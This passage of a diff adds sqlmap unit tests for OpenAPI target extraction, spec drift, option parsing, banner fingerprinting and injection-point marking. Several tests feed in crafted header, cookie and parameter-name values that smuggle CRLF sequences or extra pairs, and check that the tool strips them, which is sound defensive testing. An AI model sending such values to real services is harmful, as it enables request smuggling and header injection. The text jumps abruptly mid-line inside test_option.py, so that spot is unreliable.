self.assertEqual(len(openApiTargets(json.dumps(spec), "http://h")), 1) # absolute with origin -> kept + + def test_unsupported_body_media_type_no_crash(self): + # a structured body under a non-JSON/form media type must not crash and must not fabricate a body, + # but the endpoint URL is still produced + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/xml": + {"schema": {"type": "object", "properties": {"a": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual((url, method, data), ("http://h/x", "POST", None)) + + def test_injection_mark_char_in_value_is_not_doubled(self): + # an example value already containing the custom injection mark must not create a stray point + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": { + "parameters": [{"name": "H", "in": "header", "schema": {"type": "string", "example": "a%sb" % MARK}}], + "requestBody": {"content": {"application/json": {"schema": {"type": "object", + "properties": {"n": {"type": "string", "example": "x%sy" % MARK}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(dict(headers)["H"], "ab" + MARK) # single trailing mark only + self.assertEqual(json.loads(data), {"n": "xy"}) # mark stripped from body value + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_non_string_method_keys_do_not_crash(self): + # YAML path-item keys are not guaranteed to be strings (404 -> int, on -> bool); must not crash + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " get: {}\n" + " 404: {}\n" + " on: {}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) # only the real GET operation + self.assertEqual(targets[0][1], "GET") + + def test_hostile_base_url_metadata_does_not_crash(self): + # _baseUrl runs once, OUTSIDE the per-operation try, so malformed server/scheme/basePath metadata + # must not raise (it would abort the entire extraction) + hostile = [ + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": [1, 2]}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": {"e": "prod"}}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": 123}], "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "schemes": {"a": 1}, "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "basePath": 123, "paths": {"/x": {"get": {}}}}] + for spec in hostile: + self.assertEqual(len(_targets(spec)), 1) # no crash, still one target + + def test_param_entry_not_a_dict_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": ["oops", {"name": "q", "in": "query"}]}}}} + self.assertIn("q=1", _targets(spec)[0][0]) # bad entry skipped, good one still used + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_date_examples_serialize(self): + # unquoted YAML dates parse to datetime.date, which is not JSON-serializable -> must be stringified, + # not silently dropped (dates are pervasive in real specs) + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " post:\n" + " requestBody:\n" + " content:\n" + " application/json:\n" + " schema: {type: object, properties: {created: {type: string, example: 2020-01-01}}}\n") + url, method, data, headers = openApiTargets(y, "http://h")[0] + self.assertEqual(json.loads(data), {"created": "2020-01-01"}) + + def test_crlf_in_header_and_cookie_is_stripped(self): + # a spec-supplied header/cookie name or value must not carry CR/LF (header injection / request + # corruption); query/path values are separately percent-encoded + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-A", "in": "header", "schema": {"type": "string", "example": "a\r\nX-Evil: 1"}}, + {"name": "X\r\nB", "in": "header", "schema": {"type": "string", "example": "v"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "a\r\nSet: x"}}]}}}} + headers = dict(_targets(spec)[0][3]) + for name, value in headers.items(): + self.assertNotIn("\r", name + value) + self.assertNotIn("\n", name + value) + self.assertIn("X-A", headers) + self.assertIn("XB", headers) # control chars removed from the name + + def test_explicit_examples_preferred_over_schema(self): + # a concrete example/examples on the media-type or parameter object must win over schema synthesis + # (real specs carry the canonical, validation-passing value there) + body = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object", "properties": {"name": {"type": "string"}}}, "example": {"name": "real"}}}}}}}} + self.assertEqual(json.loads(_targets(body)[0][2]), {"name": "real"}) + examples = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object"}, "examples": {"first": {"value": {"k": "v1"}}}}}}}}}} + self.assertEqual(json.loads(_targets(examples)[0][2]), {"k": "v1"}) + param = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": "E", "schema": {"type": "string"}}]}}}} + self.assertIn("q=E", _targets(param)[0][0]) + + def test_openapi_31_const_and_type_array(self): + spec = {"openapi": "3.1.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "c", "in": "query", "schema": {"const": "CV"}}, + {"name": "n", "in": "query", "schema": {"type": ["integer", "null"]}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("c=CV", url) # const used + self.assertIn("n=1", url) # ["integer","null"] resolved to integer, not the generic fallback + + def test_parameter_names_are_encoded(self): + # a param NAME with structural chars must be encoded so it can not split/smuggle params or truncate + # at a fragment; deep-object brackets ([]) are preserved + spec = {"openapi": "3.0.0", "paths": { + "/q": {"get": {"parameters": [ + {"name": "a&b=c", "in": "query", "schema": {"type": "string"}}, + {"name": "a#b", "in": "query", "schema": {"type": "string"}}, + {"name": "filter[status]", "in": "query", "schema": {"type": "string"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"x&y": {"type": "string"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("a%26b%3Dc=1", getUrl) + self.assertIn("a%23b=1", getUrl) + self.assertIn("filter[status]=1", getUrl) # brackets kept (deep-object param names) + self.assertNotIn("#", getUrl) + self.assertEqual(byMethod["POST"][1], "x%26y=1") + + def test_undefined_template_var_does_not_leak(self): + # a server/path template variable with no definition must not leave a literal '{...}' in the URL + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x.com/{basePath}/v3"}], + "paths": {"/pets": {"get": {}}}} + url = _targets(spec, "http://h")[0][0] + self.assertNotIn("{", url) + self.assertEqual(url, "https://api.x.com/1/v3/pets") # absolute server used as-is (host not rewritten) + + def test_absolute_server_url_is_not_rewritten_to_origin(self): + # a spec served from one host but declaring an absolute API server on another host must scan the + # DECLARED API host, not the spec's origin + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.example.com/v1"}], + "paths": {"/pets": {"get": {}}}} + self.assertEqual(_targets(spec, "https://docs.example.com")[0][0], "https://api.example.com/v1/pets") + + def test_path_parameter_is_injection_marked(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/users/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}]}}}} + self.assertEqual(_targets(spec)[0][0], "http://h/users/1" + MARK) + + def test_form_urlencoded_sets_content_type_and_multipart_skipped(self): + form = {"openapi": "3.0.0", "paths": {"/f": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(form)[0] + self.assertEqual(data, "u=1") + self.assertIn(("Content-Type", "application/x-www-form-urlencoded"), headers) + multipart = {"openapi": "3.0.0", "paths": {"/m": {"post": {"requestBody": {"content": + {"multipart/form-data": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(multipart)[0] + self.assertIsNone(data) # multipart is skipped, not mis-serialized as urlencoded + + def test_path_item_ref_is_resolved(self): + spec = {"openapi": "3.1.0", + "components": {"pathItems": {"Ping": {"get": {"parameters": [ + {"name": "q", "in": "query", "schema": {"type": "string", "example": "z"}}]}}}}, + "paths": {"/ping": {"$ref": "#/components/pathItems/Ping"}}} + targets = _targets(spec) + self.assertEqual(len(targets), 1) + self.assertIn("q=z", targets[0][0]) + + def test_operation_parameter_overrides_path_level(self): + spec = {"openapi": "3.0.0", "paths": {"/x": { + "parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "shared"}}], + "get": {"parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "op"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("q=op", url) # operation value wins + self.assertEqual(url.count("q="), 1) # not duplicated + + def test_multiple_cookies_aggregate_into_one_header(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "cookie", "schema": {"type": "string"}}, + {"name": "b", "in": "cookie", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + cookieHeaders = [v for (k, v) in headers if k == "Cookie"] + self.assertEqual(cookieHeaders, ["a=1%s; b=1%s" % (MARK, MARK)]) # one aggregated Cookie header + + def test_cookie_name_value_cannot_smuggle_pairs(self): + # a cookie name that is not a token is dropped; structural chars in the value ('; ,' / whitespace) + # are stripped so a spec can not inject additional cookie pairs + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a; injected", "in": "cookie", "schema": {"type": "string"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "v; z=1"}}]}}}} + cookieHeaders = [v for (k, v) in (_targets(spec)[0][3] or []) if k == "Cookie"] + self.assertEqual(len(cookieHeaders), 1) + cookie = cookieHeaders[0] + self.assertNotIn(";", cookie.rstrip("*")) # no interior ';' -> no smuggled pair + self.assertNotIn("injected", cookie) # invalid cookie name dropped + self.assertNotIn(" ", cookie) + + def test_loose_path_without_leading_slash(self): + # a malformed path key missing its leading '/' must not glue onto the base (".../v1pets") + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x/v1"}], "paths": {"pets": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://api.x/v1/pets") + + def test_array_query_param_is_best_effort_scalar(self): + # documents current best-effort behavior: an array query param is scalarized+encoded, NOT expanded + # per style/explode. If richer serialization is added later, update this expectation deliberately. + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "ids", "in": "query", "schema": {"type": "array", "items": {"type": "integer"}}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("ids=", url) + self.assertNotIn(" ", url) # whatever the encoding, it must not break the URL + self.assertTrue(url.startswith("http://h/x?ids=")) + + def test_invalid_header_name_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "Bad Name", "in": "header", "schema": {"type": "string"}}, + {"name": "Also:Bad", "in": "header", "schema": {"type": "string"}}, + {"name": "X-Good", "in": "header", "schema": {"type": "string"}}]}}}} + headers = dict(_targets(spec)[0][3] or []) + self.assertIn("X-Good", headers) + self.assertNotIn("Bad Name", headers) + self.assertNotIn("Also:Bad", headers) + + def test_explicit_null_example_falls_back_to_schema(self): + # 'example: null' must not serialize as null/"null" - fall back to schema synthesis + q = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": None, "schema": {"type": "string", "example": "good"}}]}}}} + self.assertIn("q=good", _targets(q)[0][0]) + b = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": + {"example": None, "schema": {"type": "object", "properties": {"a": {"type": "integer"}}}}}}}}}} + self.assertEqual(json.loads(_targets(b)[0][2]), {"a": 1}) + + def test_degrade_not_skip_on_odd_shapes(self): + # enum-as-dict, non-string param name, and content[type]-as-list must degrade (op preserved) + for spec in ( + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": "q", "in": "query", "schema": {"enum": {"a": 1}}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": 5, "in": "header", "schema": {"type": "string"}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": [1, 2]}}}}}}): + self.assertEqual(len(_targets(spec)), 1) + + def test_malformed_ref_and_properties_degrade_not_skip(self): + # a non-string/unhashable $ref or a non-dict 'properties' must degrade the value (not lose the op) + for schema in ({"$ref": 123}, {"$ref": [1, 2]}, {"type": "object", "properties": [1, 2]}): + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": + {"content": {"application/json": {"schema": schema}}}}}}} + self.assertEqual(len(_targets(spec)), 1) # operation preserved, not skipped + + def test_undefined_bits_are_skipped_not_fatal(self): + spec = {"openapi": "3.0.0", "paths": { + "/a": {"get": {"parameters": [{}]}}, # param with no name + "/b": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/DoesNotExist"}}}}}}, # dangling $ref + "/c": {"get": {"parameters": [{"name": "p", "in": "query", + "schema": {"$ref": "https://other/x.json#/Y"}}]}}}} # external $ref + targets = _targets(spec) + self.assertEqual(len(targets), 3) # all three still produced + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_openapi_drift.py b/tests/test_openapi_drift.py new file mode 100644 index 00000000000..1ed84c2b825 --- /dev/null +++ b/tests/test_openapi_drift.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Contract test: the OpenAPI spec (sqlmapapi.yaml) must stay in lock-step with the +REST API actually served by lib/utils/api.py. The spec is hand-maintained, so it +is the exact thing that silently drifts when an endpoint is added/renamed/retyped. + +This walks the live Bottle route table (every @get/@post registers at import time) +and the spec's `paths:` block, and asserts the (method, path) sets are identical +in BOTH directions - no undocumented route, no phantom spec entry - plus that the +spec's advertised version matches the runtime RESTAPI_VERSION. + +PyYAML is not bundled (and the suite is stdlib-only / no pip), so the spec is read +with a tiny indentation-aware scanner that only needs the paths + info.version. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +__import__("lib.utils.api") # registers Bottle routes (side-effect import) +from lib.core.settings import RESTAPI_VERSION +from thirdparty.bottle.bottle import default_app + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +SPEC = os.path.join(ROOT, "sqlmapapi.yaml") + +# Bottle-only routes that are not part of the documented public contract +INTERNAL_RULES = ("/error/401",) + +HTTP_METHODS = ("get", "post", "put", "delete", "patch", "head", "options") + + +def _normalize_rule(rule): + # Bottle '' / '' -> OpenAPI '{taskid}' / '{filename}' + return re.sub(r"<([^:>]+)(?::[^>]+)?>", r"{\1}", rule) + + +def _app_pairs(): + pairs = set() + for route in default_app().routes: + rule = _normalize_rule(route.rule) + if rule in INTERNAL_RULES: + continue + pairs.add((route.method.lower(), rule)) + return pairs + + +def _spec_paths_and_version(text): + """Returns (set of (method, path), info.version) from the YAML text.""" + pairs = set() + version = None + section = None + current_path = None + + for line in text.splitlines(): + if not line.strip() or line.lstrip().startswith("#"): + continue + + top = re.match(r"^(\S[^:]*):", line) # a column-0 key starts a new top-level section + if top: + section = top.group(1) + current_path = None + continue + + if section == "info": + m = re.match(r"^ version:\s*(.+?)\s*$", line) + if m: + version = m.group(1).strip().strip('"').strip("'") + elif section == "paths": + m = re.match(r"^ (/\S*):\s*$", line) # 2-space path key + if m: + current_path = m.group(1) + continue + m = re.match(r"^ (\w+):\s*$", line) # 4-space method key + if m and current_path and m.group(1).lower() in HTTP_METHODS: + pairs.add((m.group(1).lower(), current_path)) + + return pairs, version + + +class TestOpenAPIDrift(unittest.TestCase): + def setUp(self): + with open(SPEC) as f: + self.spec_pairs, self.spec_version = _spec_paths_and_version(f.read()) + self.app_pairs = _app_pairs() + + def test_parsers_found_something(self): + # guard against a silently-empty parse making the equality checks vacuously pass + self.assertTrue(len(self.app_pairs) >= 15, self.app_pairs) + self.assertEqual(len(self.spec_pairs), len(self.app_pairs)) + + def test_no_undocumented_endpoint(self): + missing = self.app_pairs - self.spec_pairs + self.assertEqual(missing, set(), "served but absent from sqlmapapi.yaml: %s" % sorted(missing)) + + def test_no_phantom_spec_entry(self): + extra = self.spec_pairs - self.app_pairs + self.assertEqual(extra, set(), "in sqlmapapi.yaml but not served: %s" % sorted(extra)) + + def test_version_matches_runtime(self): + self.assertEqual(self.spec_version, RESTAPI_VERSION, "sqlmapapi.yaml version '%s' != RESTAPI_VERSION '%s'" % (self.spec_version, RESTAPI_VERSION)) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_option.py b/tests/test_option.py new file mode 100644 index 00000000000..11f4d8bdfd1 --- /dev/null +++ b/tests/test_option.py @@ -0,0 +1,1590 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Option setup / normalization helpers in lib/core/option.py. + +These exercise the (mostly) pure config-massaging functions that parse, validate +and normalize user-supplied option values into the canonical conf.*/kb.* shapes +that the rest of sqlmap relies on - WITHOUT touching the network, the DBMS, the +filesystem (beyond what bootstrap already set up) or any interactive prompt. + +option.py mutates the global conf/kb singletons aggressively, so every test that +writes a conf/kb field saves and restores it via the _preserve() helper so the +shared state stays pristine for the other test files in the suite. +""" + +import contextlib +import logging +import os +import socket +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb, logger +from lib.core.common import Backend +from lib.core.enums import AUTH_TYPE +from lib.core.enums import HTTP_HEADER +from lib.core.settings import DEFAULT_USER_AGENT +from lib.core.settings import IGNORE_CODE_WILDCARD +from lib.core.settings import MAX_CONNECT_RETRIES +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.core.exception import SqlmapValueException +from thirdparty.six.moves import urllib as _urllib + +import lib.core.option as option + +_SENTINEL = object() + +# scratchpad for the preprocess/postprocess/safe-req fixture files +_SCRATCH = os.environ.get("CLAUDE_SCRATCH") or os.path.join(os.path.dirname(os.path.abspath(__file__)), "_option_more_tmp") + +# conf/kb fields that Backend.getIdentifiedDbms()/getOs() consult; any test that +# might touch DBMS/OS forcing snapshots ALL of them so no fingerprint state leaks +# into sibling test files (e.g. test_target_parsing's resume tests). +_BACKEND_CONF_KEYS = ("dbms", "forceDbms", "os") +_BACKEND_KB_KEYS = ("dbms", "dbmsVersion", "forcedDbms", "dbmsFilter", "os", "osVersion", "osSP") + + +def tearDownModule(): + """Remove the scratch fixture directory so it never lingers on disk (and so a + stray __init__.py there can't shadow imports in a subsequent run).""" + import shutil + if os.path.isdir(_SCRATCH): + shutil.rmtree(_SCRATCH, ignore_errors=True) + + +class _BackendGuard(unittest.TestCase): + """Mixin: fully snapshot & restore Backend-relevant conf/kb state per test.""" + + def setUp(self): + super(_BackendGuard, self).setUp() + self._snap_conf = {k: (conf[k] if k in conf else _SENTINEL) for k in _BACKEND_CONF_KEYS} + self._snap_kb = {k: (kb[k] if k in kb else _SENTINEL) for k in _BACKEND_KB_KEYS} + + def tearDown(self): + for store, snap, keys in ((conf, self._snap_conf, _BACKEND_CONF_KEYS), + (kb, self._snap_kb, _BACKEND_KB_KEYS)): + for k in keys: + if snap[k] is _SENTINEL: + try: + del store[k] + except KeyError: + pass + else: + store[k] = snap[k] + super(_BackendGuard, self).tearDown() + + +@contextlib.contextmanager +def _preserve(target, *keys): + """Save the given keys of an AttribDict (conf/kb), then restore on exit. + + Missing keys are restored to absent so a test can't leak a brand-new field. + """ + saved = {} + for key in keys: + saved[key] = target[key] if key in target else _SENTINEL + try: + yield + finally: + for key in keys: + if saved[key] is _SENTINEL: + try: + del target[key] + except KeyError: + pass + else: + target[key] = saved[key] + + +class _ImportSandboxMixin(object): + """Loaders in option.py (tamper/preprocess/postprocess) permanently + `sys.path.insert(0,

    this

    "), + u"keep this") + + def test_keeps_tags_when_not_only_text(self): + self.assertEqual(getFilteredPageContent(u"

    a

    b

    ", onlyText=False), + u"

    a

    b

    ") + + def test_bytes_input_unchanged(self): + # GOTCHA: tag stripping only engages for unicode input (charset-identified pages) + raw = b"x" + self.assertEqual(getFilteredPageContent(raw), raw) + + +class TestPageWordSet(unittest.TestCase): + def test_words(self): + self.assertEqual(sorted(getPageWordSet(u"foobartest")), + [u"foobar", u"test"]) + + +class TestExtractTextTagContent(unittest.TestCase): + def test_multiple_tags(self): + self.assertEqual(extractTextTagContent(u"Welcome

    Body text

    "), + [u"Welcome", u"Body text"]) + + +class TestParseSqliteTableSchema(unittest.TestCase): + def setUp(self): + # parseSqliteTableSchema keys cachedColumns by conf.db/conf.tbl - reset them (not just + # cachedColumns) so a leaked db/tbl from a prior test can't shift the storage key and + # break this test's [None][None] lookup (order-dependent flake under PyPy discovery) + self.addCleanup(setattr, kb.data, "cachedColumns", kb.data.get("cachedColumns")) + self.addCleanup(setattr, conf, "db", conf.get("db")) + self.addCleanup(setattr, conf, "tbl", conf.get("tbl")) + kb.data.cachedColumns = {} + conf.db = conf.tbl = None + + def _cols(self): + # parseSqliteTableSchema stores under cachedColumns[db][table] (both None here) + return dict(kb.data.cachedColumns[None][None]) + + def test_basic_columns_and_types(self): + parseSqliteTableSchema("CREATE TABLE users(id INTEGER PRIMARY KEY, name TEXT, age INT)") + cols = self._cols() + self.assertEqual(cols["id"], "INTEGER") + self.assertEqual(cols["name"], "TEXT") + self.assertEqual(cols["age"], "INT") + + def test_quoted_identifiers_and_sized_types(self): + parseSqliteTableSchema('CREATE TABLE "t"("id" INTEGER, "n" VARCHAR(50), flag BOOLEAN)') + cols = self._cols() + self.assertIn("id", cols) + self.assertEqual(cols["n"], "VARCHAR") # size dropped + self.assertEqual(cols["flag"], "BOOLEAN") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_parse_modules.py b/tests/test_parse_modules.py new file mode 100644 index 00000000000..f94a4d27b10 --- /dev/null +++ b/tests/test_parse_modules.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Parsers under lib/parse/: DBMS banner fingerprinting (banner.py + the shared +FingerprintHandler in handler.py) and the .ini configuration-file reader +(configfile.py). These are pure: given a banner string (and the shipped XML +signature files) or a config file on disk, they populate kb/conf with no +network or DBMS. We drive each over realistic inputs and assert the extracted +fingerprint / parsed options. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import kb, conf +from lib.core.enums import DBMS +from lib.parse.banner import bannerParser, MSSQLBannerHandler +from lib.parse.handler import FingerprintHandler + + +class TestFingerprintHandler(unittest.TestCase): + def test_feedinfo_dbms_version_scalar(self): + info = {} + h = FingerprintHandler("some banner", info) + h._feedInfo("dbmsVersion", "5.7.1") + self.assertEqual(info["dbmsVersion"], "5.7.1") + + def test_feedinfo_set_valued_keys_split_on_pipe(self): + info = {} + h = FingerprintHandler("some banner", info) + h._feedInfo("type", "Linux|Debian") + self.assertIsInstance(info["type"], set) + self.assertEqual(info["type"], set(["Linux", "Debian"])) + + def test_feedinfo_ignores_empty_and_none(self): + info = {} + h = FingerprintHandler("b", info) + h._feedInfo("type", "") + h._feedInfo("type", "None") + h._feedInfo("type", None) + self.assertNotIn("type", info) + + +class TestBannerParser(unittest.TestCase): + def setUp(self): + self._saved = kb.bannerFp + kb.bannerFp = {} + + def tearDown(self): + kb.bannerFp = self._saved + + def test_no_dbms_is_noop(self): + # without an identified DBMS bannerParser must bail out before touching kb.bannerFp + from lib.core.common import Backend + Backend.flushForcedDbms(force=True) + saved = (conf.get("forceDbms"), kb.get("dbms")) + conf.forceDbms = None + kb.dbms = None + try: + kb.bannerFp = {} + self.assertIsNone(bannerParser("PostgreSQL 9.5.3 on x86_64-pc-linux-gnu")) + # no back-end identified -> the early return leaves the fingerprint untouched + self.assertEqual(kb.bannerFp, {}) + finally: + conf.forceDbms, kb.dbms = saved + + def test_mysql_banner_populates_version(self): + set_dbms(DBMS.MYSQL) + kb.bannerFp = {} + bannerParser("5.0.51a-3ubuntu5.4") + # the generic signatures classify the OS/distrib from the banner tail + self.assertTrue(kb.bannerFp, msg="no fingerprint extracted") + self.assertIn("Ubuntu", kb.bannerFp.get("distrib", set())) + + def test_oracle_banner_populates_version(self): + set_dbms(DBMS.ORACLE) + kb.bannerFp = {} + bannerParser("Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production") + self.assertIn("dbmsVersion", kb.bannerFp) + self.assertTrue(kb.bannerFp["dbmsVersion"].startswith("11.2.0")) + + def test_pgsql_banner_populates_version(self): + set_dbms(DBMS.PGSQL) + kb.bannerFp = {} + # the shipped PostgreSQL signature 'PostgreSQL\s+([\w\.]+)' captures the version + bannerParser("PostgreSQL 9.5.3 on x86_64-pc-linux-gnu") + self.assertIn("dbmsVersion", kb.bannerFp) + self.assertEqual(kb.bannerFp["dbmsVersion"], "9.5.3") + + def test_mssql_banner_populates_release_and_version(self): + set_dbms(DBMS.MSSQL) + kb.bannerFp = {} + # a real SQL Server 2008 RTM build present in data/xml/banner/mssql.xml, + # so the MSSQLBannerHandler resolves both the release year and the version + bannerParser("Microsoft SQL Server 2008 - 10.00.4311.00") + self.assertEqual(kb.bannerFp.get("dbmsRelease"), "2008") + self.assertEqual(kb.bannerFp.get("dbmsVersion"), "10.00.4311") + + +class TestMSSQLBannerHandler(unittest.TestCase): + def test_version_alt_built_for_dotzero_form(self): + info = {} + h = MSSQLBannerHandler("Microsoft SQL Server 10.00.1600.22", info) + h.startElement("version", {}) + h.characters("10.00.1600") + h.endElement("version") + # endElement('version') derives the ".0..0" alternate form + self.assertEqual(h._versionAlt, "10.0.1600.0") + + +class _Attrs(dict): + """Minimal SAX-attrs stand-in (supports .get).""" + + +class TestMSSQLBannerHandlerServicePack(unittest.TestCase): + def test_servicepack_strips_spaces(self): + info = {} + h = MSSQLBannerHandler("banner", info) + h.startElement("servicepack", {}) + h.characters(" 2 ") + h.endElement("servicepack") + self.assertEqual(h._servicePack, "2") + + +class TestConfigFileParser(unittest.TestCase): + def _write_cfg(self, body): + fd, path = tempfile.mkstemp(suffix=".ini", prefix="sqlmapcfg_") + os.close(fd) + with open(path, "w") as f: + f.write(body) + return path + + def test_parses_target_and_typed_options(self): + from lib.parse.configfile import configFileParser + path = self._write_cfg( + "[Target]\n" + "url = http://config.invalid/?id=1\n" + "[Optimization]\n" + "threads = 4\n" + "[Injection]\n" + "tamper = space2comment\n" + ) + saved = {k: conf.get(k) for k in ("url", "threads", "tamper")} + try: + configFileParser(path) + self.assertEqual(conf.url, "http://config.invalid/?id=1") + self.assertEqual(conf.threads, 4) # INTEGER datatype coerced + self.assertEqual(conf.tamper, "space2comment") + finally: + for k, v in saved.items(): + conf[k] = v + os.remove(path) + + def test_missing_target_section_raises(self): + from lib.parse.configfile import configFileParser + from lib.core.exception import SqlmapMissingMandatoryOptionException + path = self._write_cfg("[Request]\nthreads = 1\n") + try: + self.assertRaises(SqlmapMissingMandatoryOptionException, + configFileParser, path) + finally: + os.remove(path) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_payload_marking.py b/tests/test_payload_marking.py new file mode 100644 index 00000000000..5b014e82999 --- /dev/null +++ b/tests/test_payload_marking.py @@ -0,0 +1,274 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Request-body injection-point handling: + - recognition regexes (REAL, imported from settings) classify JSON/JSON_LIKE/XML/PLAIN + - JSON/XML injection-point marking preserves every value (mirrors target.py) + - HPP transform reconstructs the original SQL after ASP comma-join +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.settings import (JSON_RECOGNITION_REGEX, JSON_LIKE_RECOGNITION_REGEX, + XML_RECOGNITION_REGEX, PAYLOAD_DELIMITER, + CUSTOM_INJECTION_MARK_CHAR) + +# The real source marks injection points with kb.customInjectionMark, which defaults to +# CUSTOM_INJECTION_MARK_CHAR ('*'). Tie the test's mark char to the source constant so a +# change there is reflected here too. +MARK = CUSTOM_INJECTION_MARK_CHAR + +# the _drive_* helpers set sticky conf/kb flags (notably conf.hpp, which changes queryPage +# behaviour) without restoring them; snapshot/restore at the module boundary so they can't leak +_PM_CONF_KEYS = ("hpp", "skipUrlEncode", "method", "paramDel", "url", "data", "parameters", "paramDict") +_PM_KB_KEYS = ("tamperFunctions", "postHint", "customInjectionMark", "postUrlEncode", "postSpaceToPlus", "processUserMarks") +_pm_saved = {} + +def setUpModule(): + from lib.core.data import conf, kb + for k in _PM_CONF_KEYS: + _pm_saved[("conf", k)] = conf.get(k) + for k in _PM_KB_KEYS: + _pm_saved[("kb", k)] = kb.get(k) + +def tearDownModule(): + from lib.core.data import conf, kb + for (scope, k), v in _pm_saved.items(): + (conf if scope == "conf" else kb)[k] = v + + +def classify(d): + if re.search(JSON_RECOGNITION_REGEX, d): + return "JSON" + if re.search(JSON_LIKE_RECOGNITION_REGEX, d): + return "JSON_LIKE" + if re.search(XML_RECOGNITION_REGEX, d): + return "XML" + return "PLAIN" + + +def 